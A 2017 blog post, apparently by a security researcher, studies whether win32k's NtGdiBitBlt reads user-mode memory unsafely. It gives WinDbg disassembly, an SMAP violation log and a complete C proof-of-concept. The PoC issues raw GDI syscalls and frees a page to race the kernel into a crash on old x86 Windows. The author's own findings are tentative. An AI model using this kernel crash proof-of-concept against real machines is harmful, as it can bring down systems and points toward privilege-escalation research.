2017年9月25日星期一

NtGdiBitBlt accessing user mode address withough try catch

This is the log.

Smap violation :error code 0x1, cs 0x8, VA 0xc10a7c, cr3 0x9a001c0, eip 0xbf8099c4, eflags 0x10282, TEB 0x7ffda000
kd> u 0xbf8099c4
win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]
bf8099ca 53              push    ebx
bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]
bf8099ce 57              push    edi
bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]
bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]
bf8099db 33ca            xor     ecx,edx


kd> u win32k!NtGdiBitBlt L50
win32k!NtGdiBitBlt:
bf80996d 8bff            mov     edi,edi
bf80996f 55              push    ebp
bf809970 8bec            mov     ebp,esp
bf809972 83ec68          sub     esp,68h
bf809975 8365f800        and     dword ptr [ebp-8],0
bf809979 f6452b40        test    byte ptr [ebp+2Bh],40h
bf80997d 0f853efeffff    jne     win32k!NtGdiBitBlt+0x12 (bf8097c1)
bf809983 56              push    esi
bf809984 ff7508          push    dword ptr [ebp+8]
bf809987 8b7528          mov     esi,dword ptr [ebp+28h]
bf80998a 80652b7f        and     byte ptr [ebp+2Bh],7Fh
bf80998e 8d4dfc          lea     ecx,[ebp-4]
bf809991 e8dcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)
bf809996 8b45fc          mov     eax,dword ptr [ebp-4]
bf809999 85c0            test    eax,eax
bf80999b 0f84a6030000    je      win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099a1 f6401980        test    byte ptr [eax+19h],80h
bf8099a5 0f859c030000    jne     win32k!NtGdiBitBlt+0x5ec (bf809d47)
bf8099ab ff751c          push    dword ptr [ebp+1Ch]
bf8099ae 8d4df0          lea     ecx,[ebp-10h]
bf8099b1 e8bcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)
bf8099b6 8b4df0          mov     ecx,dword ptr [ebp-10h]
bf8099b9 85c9            test    ecx,ecx
bf8099bb 0f847a030000    je      win32k!NtGdiBitBlt+0x5e0 (bf809d3b)
bf8099c1 8b492c          mov     ecx,dword ptr [ecx+2Ch]
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]
bf8099ca 53              push    ebx
bf8099cb 8b5d14          mov     ebx,dword ptr [ebp+14h]
bf8099ce 57              push    edi
bf8099cf 8b7dfc          mov     edi,dword ptr [ebp-4]
bf8099d2 8b472c          mov     eax,dword ptr [edi+2Ch]
bf8099d5 8b906c010000    mov     edx,dword ptr [eax+16Ch]
bf8099db 33ca            xor     ecx,edx
bf8099dd f6c107          test    cl,7
bf8099e0 0f8551040000    jne     win32k!NtGdiBitBlt+0x9f (bf809e37)
bf8099e6 8365ec00        and     dword ptr [ebp-14h],0
bf8099ea 8b750c          mov     esi,dword ptr [ebp+0Ch]
bf8099ed bf04020000      mov     edi,204h
bf8099f2 57              push    edi
bf8099f3 8d45fc          lea     eax,[ebp-4]
bf8099f6 50              push    eax
bf8099f7 8d4dd8          lea     ecx,[ebp-28h]
bf8099fa e893aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)
bf8099ff 57              push    edi
bf809a00 8d45f0          lea     eax,[ebp-10h]
bf809a03 50              push    eax
bf809a04 8d4dcc          lea     ecx,[ebp-34h]
bf809a07 e886aaffff      call    win32k!EXFORMOBJ::vQuickInit (bf804492)
bf809a0c 8b45d8          mov     eax,dword ptr [ebp-28h]
bf809a0f f6403801        test    byte ptr [eax+38h],1
bf809a13 0f84fdfeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a19 ff75cc          push    dword ptr [ebp-34h]
bf809a1c 8d4dd8          lea     ecx,[ebp-28h]
bf809a1f e8a6b3ffff      call    win32k!EXFORMOBJ::bEqualExceptTranslations (bf804dca)
bf809a24 85c0            test    eax,eax
bf809a26 0f84eafeffff    je      win32k!NtGdiBitBlt+0x599 (bf809916)
bf809a2c 8b4520          mov     eax,dword ptr [ebp+20h]
bf809a2f 8b4d24          mov     ecx,dword ptr [ebp+24h]
bf809a32 8b7d18          mov     edi,dword ptr [ebp+18h]
bf809a35 8945ac          mov     dword ptr [ebp-54h],eax
bf809a38 03c3            add     eax,ebx
bf809a3a 8945b4          mov     dword ptr [ebp-4Ch],eax
bf809a3d 8d0439          lea     eax,[ecx+edi]
bf809a40 8945b8          mov     dword ptr [ebp-48h],eax
bf809a43 8d45ac          lea     eax,[ebp-54h]
bf809a46 894db0          mov     dword ptr [ebp-50h],ecx
bf809a49 50              push    eax
bf809a4a 8d4dcc          lea     ecx,[ebp-34h]
bf809a4d e806acffff      call    win32k!EXFORMOBJ::bXform (bf804658)
bf809a52 8d4dac          lea     ecx,[ebp-54h]
bf809a55 e8b3aaffff      call    win32k!ERECTL::vOrder (bf80450d)
bf809a5a 8b4510          mov     eax,dword ptr [ebp+10h]
bf809a5d 8945c0          mov     dword ptr [ebp-40h],eax
bf809a60 03c7            add     eax,edi
bf809a62 8945c8          mov     dword ptr [ebp-38h],eax
bf809a65 8975bc          mov     dword ptr [ebp-44h],esi
bf809a68 8d45bc          lea     eax,[ebp-44h]
bf809a6b 03f3            add     esi,ebx
bf809a6d 50              push    eax

bf809a6e 8d4dd8          lea     ecx,[ebp-28h]


At win32k!NtGdiBitBlt+0x81:, it accesses user mode memory. I thought if I release that page, it will lead to a crash.

I use a poc which calls syscall NtGdiBitBlt directly from user mode. It's a poc for another vulnerability on win7 x86, but anyway.

That's the code:




 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*
 * compile:
 * cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib
 */

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <time.h>
#include <conio.h>
 
HWND notepad(LPCSTR name) {
 char filename[1024], title[1024];
 FILE *f=0x0;
 sprintf_s(filename, 1024, "%s.txt", name);
 DWORD rc = fopen_s(&f, filename, "w");
 if(rc!=0) {
  printf("[-] failed to create temporary text file\n");
 }
 fclose(f);
 HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
 if(inst < (HINSTANCE)33) {
  printf("[-] failed to start notepad\n");
 }
 while(1) {
 sprintf_s(title, 1024, "%s - Notepad", name);
 HWND hwnd = FindWindowA(0x0, title);
 if(hwnd) {
  return hwnd;
 }
 sprintf_s(title, 1024, "%s.txt - Notepad", name);
 hwnd = FindWindowA(0x0, title);
 if(hwnd) {
  //printf("[-] failed to retrieve handle to notepad window\n");
  //return 0x0;
  return hwnd;
 }
 }
 return 0x0;
}


__declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) {
  __asm {
   push d1
   push d0
   push hdc
  push 0x0
  mov eax, 0x1123
  mov edx, 0x7ffe0300
  call dword ptr [edx]
  add esp, 0x10
 }
}

__declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) {
 __asm {
  push dw8
  push dw7
  push dw6
  push hdc2
  push dw4
  push dw3
  push dw2
  push dw1
  push hdc
  push 0x0 
  mov eax, 0x100d  //xp sp3 0x100d
  mov edx, 0x7ffe0300
  call dword ptr [edx]
  add esp, 0x30
 }
}
int _tmain(int argc, _TCHAR* argv[])
{
 HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0);
 printf("[-] hdc1: %08x\n", hdc1);
 NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63);
 HWND hwnd1 = notepad("test1");
 printf("[-] hwnd1: %08x\n", hwnd1);
 HDC hdc2 = GetDC(hwnd1);
 printf("[-] hdc2: %08x\n", hdc2);

 _getch();

 BOOL bResult = VirtualFree((LPVOID)0x1d90000, 0, MEM_RELEASE);
 if (FALSE == bResult)
 {
  printf("VirtualFree fail. %d\n", GetLastError());
 }

 NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008);
}

Set a conditional breakpoint, because explorer.exe has a lot of NtGdiBitBlt.

bp  /p 815ec1f8 win32k!NtGdiBitBlt

After hit, step to

win32k!NtGdiBitBlt+0x81:
bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]

At this point, ecx points to somewhere above 0x1d90000, this is specific to each process and even each run I guess. But I run many times it's always located at page 0x1d90000. So I decided to release this page to trigger a crash.

It turned out, 0x1d90000 was not valid until NtGdiBitBlt, after step into it, it shows that first call to win32k!XDCOBJ::XDCOBJ allocated this range of memory.

bf809991 e8dcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)

So it became a race condition for a crash. Between XDCOBJ::XDCOBJ and  "mov     ecx,dword ptr [ecx+16Ch]", if the page is released, it will lead to a crash. That's my guess.

When I set 0x1d90000's pte to invalid.  "mov     ecx,dword ptr [ecx+16Ch]" this instruction actually passed, I used F10(step over) and windbg stops at the next instruction. That's weird because if someone caught this exception, it won't stop at the next instruction.  After I let go of the windbg, VM(I run os in VMWare) runs for a few seconds and froze. I tested it twice to make sure it did freeze.

Could be something wrong with vm emulation.